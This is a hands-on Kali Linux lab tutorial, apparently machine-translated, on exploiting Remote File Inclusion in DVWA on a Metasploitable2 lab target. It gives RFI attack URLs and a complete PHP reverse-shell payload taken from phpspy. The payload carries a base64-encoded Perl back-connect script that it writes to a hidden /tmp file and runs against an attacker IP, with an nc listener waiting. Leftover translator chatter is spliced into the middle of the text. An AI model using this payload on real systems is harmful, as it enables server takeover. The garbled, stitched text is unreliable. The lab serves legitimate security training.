Remote File Inclusion

 

1. Course Overview

 

This course is a hands-on lab tutorial. To better explain some of the operations in the lab, theoretical content will also be included. Additionally, we will select and recommend the most worthwhile articles for you to read, helping you strengthen your theoretical foundation while practicing.

Note: Due to the higher cost of configuring the cloud host used for experiments, usage is limited to no more than six times per lab.

2. Learning Methodology

 

The Kali Linux series offered by the Experiment Hall includes five training camps. This particular camp focuses on Web application attack methods. The training includes 20 labs, each with detailed steps and screenshots. It is suitable for learners with basic Linux experience who wish to quickly get started with Kali penetration testing.

The key to learning is hands-on practice and asking questions. Follow the lab steps step-by-step after launching the lab and focus on understanding the details of each operation carefully.

If the beginning of the lab has recommended reading materials, ensure that you read them thoroughly before proceeding with the hands-on work, as theoretical knowledge is essential to practice.

3. This Session’s Content Overview

 

In this lab, we introduce the concept of Kali Linux and penetration testing. The following tasks need to be completed step-by-step:

• Introduction to Remote File Inclusion
• Attempting Remote File Inclusion
• Advanced Remote File Inclusion

4. Recommended Reading

 

For this lab, we recommend reading the following material:

1. Introduction to File Inclusion Vulnerability

5. Introduction to Remote File Inclusion

 

5.1 Overview of Remote File Inclusion Vulnerability

 

Remote File Inclusion (RFI) vulnerability arises from the same causes as Local File Inclusion (LFI) vulnerabilities.

For functionality reuse, certain components within an application are often separated into independent files. This makes maintenance much easier. At times, applications on multiple servers also need access to these files, and remote file inclusion is used in such cases.

Unlike local file inclusion, which only accesses files on the local machine, remote file inclusion involves the transmission of data through the network, enabling the execution of commands.

5.2 Risks of Remote File Inclusion Vulnerabilities

 

With local file inclusion, we may use specific techniques to view information or deploy backdoor scripts through file uploads. If proper defensive measures are in place, even if attackers gain access to some configuration data, the damage can be limited.

However, the risks associated with remote file inclusion vulnerabilities are significantly higher.

This is because remote file inclusion allows attackers to include PHP files directly from the server. These files will execute whatever code is written in them, allowing attackers to control the server completely and use it for malicious purposes.

Clearly, RFI is far more hazardous than LFI. Thus, greater care and caution are required when handling remote file inclusion vulnerabilities.

5.3 Environment Initialization

 

In this lab, we will first understand how RFI works by conducting experiments using the DVWA environment.

As in previous labs, we will begin by starting the target machine, opening DVWA, and setting the security level to “low”:

On the lab desktop, double-click the Xfce terminal to launch it:

Use the command sudo virsh start Metasploitable2 to start the target machine:

 

(rest of the paragraph continues…) proper translation integrity above style

When you see the Level at the bottom of the page change, it indicates that the modification has been successfully applied:

6. Introduction to Remote File Inclusion (RFI)

Remote File Inclusion, commonly referred to as RFI, is the process of including files that reside on a remote server, rather than on the local server. This is achieved by referencing and including the remote files.

Since the inclusion of files involves establishing a connection with the remote server, we need a way to simulate this scenario. Here, we’ll accomplish this by starting the Apache server on Kali Linux, enabling it to handle HTTP requests for file access.

First, ensure that the Kali virtual machine is up and running. This is a standard operation, so we’ll skip detailed instructions here.

Next, SSH into the Kali virtual machine and start the Apache server using the following command:

service apache2 start

To verify that Apache has started successfully, open Firefox and browse to the IP address of your Kali virtual machine (e.g., 192.168.122.101). If you see a page being displayed, that confirms Apache is running properly:

cd /var/www/html

In the default document root directory of Apache (/var/www/html), create and edit a file using vim phpinfo.txt with the following content:

Save and exit using :wq.

Now, visit the URL 192.168.122.101/phpinfo.txt in your browser. If the page displays content, it confirms that the file is being accessed correctly:

Copy this URL and paste it into the page parameter of the File Inclusion page in DVWA (Damn Vulnerable Web Application).

Press “Enter” to execute the request. Initially, you may see an error page. This happens because the security level of DVWA is set to “high.” You need to lower the security level to “low” to bypass restrictions and enable access. Once the level is adjusted, you should see the expected result.

Above is the translation of your provided content. The content and its technical accuracy have been maintained. All HTML tags and essential elements included in the original have been preserved. Let me know if you need further assistance!The situation arises because the PHP configuration parameters `allow_url_fopen` and `allow_url_include` are disabled. We can confirm the current PHP configuration by accessing the following URL:

plaintext
http://192.168.122.102/dvwa/vulnerabilities/fi/?page=../../phpinfo.php

Scrolling down, you’ll observe that indeed these parameters are disabled:


If both of these parameters remain disabled, opening remote files won’t be possible. Therefore, it’s crucial to carefully configure these parameters when protecting against remote file inclusion vulnerabilities.

To proceed with the experiment, we need to log into the target machine via SSH using the command:

shell
ssh msfadmin@target

You should run this SSH command within your ExperimentLab terminal (logged in to your ExperimentLab account):


In the target machine’s terminal, modify PHP’s global configuration file by executing the following command:

shell
sudo vim /etc/php5/cgi/php.ini


Locate the two configuration parameters we identified earlier:


Make the necessary changes and save the file using `:wq`.

After editing, restart the Apache service to apply the changes with the command:

shell
sudo /etc/init.d/apache2 restart


Now, retry accessing the URL, and you should be able to access it successfully:

plaintext
http://192.168.122.102/dvwa/vulnerabilities/fi/?page=http://192.168.122.101/phpinfo.txt

As you can see, the external `phpinfo.txt` file located on the server executes correctly. This demonstrates Remote File Inclusion (RFI). Additionally, observing the PHP configuration reveals that the `allow_url_include` parameter is set to `On`, confirming the file was executed on the target machine. By default, this option is disabled (`Off`) in PHP 5.

Why Rename the File to phpinfo.txt Instead of phpinfo.php?

The reason for naming the file `phpinfo.txt` instead of `phpinfo.php` is that Kali’s PHP environment supports the PHP extension, allowing it to parse and execute PHP files. When included, the target machine first checks if the file extension is `.php`, then whether the PHP engine can parse and execute it locally. If both conditions are true, the script will execute locally on Kali and return the result to the including program. This behavior negates the purpose of our test for two reasons:

1. From a Development Perspective: The main purpose of including a file is to reuse code, not to reprocess an external file’s result. Returning an already executed PHP script offers no use since functions or classes within the script won’t be available for reuse locally.

2. From a Penetration Testing Perspective: The aim is to execute malicious payloads, access sensitive information, or utilize the target machine’s resources. Executing the script locally provides no advantage since the payload should run on the target machine.

By renaming the file extension to `.txt`, the PHP interpreter won’t view it as a PHP script. When included, the file will not execute locally; instead, its contents will be transferred to the target system, where it will determine how to handle it. If the file contains PHP tags (``), it will be processed as a legitimate PHP script on the target system. If not, the content will simply be printed as plain text.

7. Advanced Remote File Inclusion

At this point, if all we can do is view information, the exploitation impact is limited.

In previous steps, we only executed a small script. However, what if we used this vulnerability to upload a reverse shell or backdoor? A reverse shell, often referred to in this context, initiates a connection from the target machine to the attacker’s device. This method is functionally similar to logging into the machine via SSH.

To create a reverse shell, place corresponding payloads on the target system. For example, we can create and edit a file named `test.txt` at the root directory of Apache on the Kali machine using:

plaintext
vim test.txt

The file content should include… Certainly! Below is the translated content of the WordPress post in proper American English while preserving the original structure, HTML tags, and formatting:

php
function which($pr) {
$path = execute(“which $pr”);
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = ”;
if ($cfe) {
if(function_exists(‘exec’)) {
@exec($cfe, $res);
$res = join(“\n”, $res);
} elseif(function_exists(‘shell_exec’)) {
$res = @shell_exec($cfe);
} elseif(function_exists(‘system’)) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists(‘passthru’)) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,”r”))) {
$res = ”;
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname, $text) {
if($fp = @fopen($fname, ‘w’)) {
@fputs($fp, @base64_decode($text));
@fclose($fp);
}
}
$yourip = “192.168.122.101”;
$yourport = ‘1111’;
$usedb = array(‘perl’=> ‘perl’, ‘c’=> ‘c’);
$back_connect = “IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==”;
cf(‘/tmp/.bc’, $back_connect);
$res = execute(which(‘perl’) . ” /tmp/.bc $yourip $yourport &”);
?>

These two variables exist within the script:
php
$yourip = “192.168.122.101”;
$yourport = ‘1111’;

– `yourip` represents the IP address of the current device.
– `yourport` can be set to any available port, but care should be taken to ensure no conflicts occur.

> Note: The code snippet above is captured from a reverse shell example in `phpspy`.

After saving and exiting using `:wq`, you can proceed to use the `nc` command to listen on the designated port:

bash
nc -nvlp 1111

You will see the following message in the terminal:
`listening on [any] 1111`

This means the port is actively listening and ready to handle incoming requests. Once triggered, you’ll be connected and can see activity in the terminal.

Next, access the following URL in Firefox:
plaintext
http://192.168.122.102/dvwa/vulnerabilities/fi/?page=http://192.168.122.101/test.txt

Though the webpage might look unchanged, your terminal will show activity indicating a successful connection. For instance:


Commands such as `pwd`, `ls`, and `vim` will work, allowing for interaction akin to `ssh`. However, since the user account accessed is typically `www-data`, the permissions are limited. Despite the limited privileges, this still poses a significant security threat and opens up opportunities for further exploitation if the attacker progresses.

This demonstrates the risks and repercussions of exploiting Remote File Inclusion (RFI) vulnerabilities. Successful exploitation often hinges on include statements with insufficiently strict filters and insecure configuration settings.

8. Summary

In this exercise, we’ve learned the following key points:
– Introduction to Remote File Inclusion (RFI).
– Attempts to exploit Remote File Inclusion vulnerabilities.
– Advanced techniques for RFI exploitation.

Hands-on experimentation is strongly recommended. Reading alone won’t suffice, as you’ll encounter various obstacles to troubleshoot and overcome. The process of solving these problems is where the real learning lies.

9. Homework

1. Review the mitigation techniques provided by Medium and test whether they can prevent exploitation. Also, experiment with bypass techniques discussed in the previous lesson.

If you require any clarifications, feel free to engage in discussions on [Shiyanlou Q&A](https://www.shiyanlou.com/questions).

Let me know if any parts need further elaboration!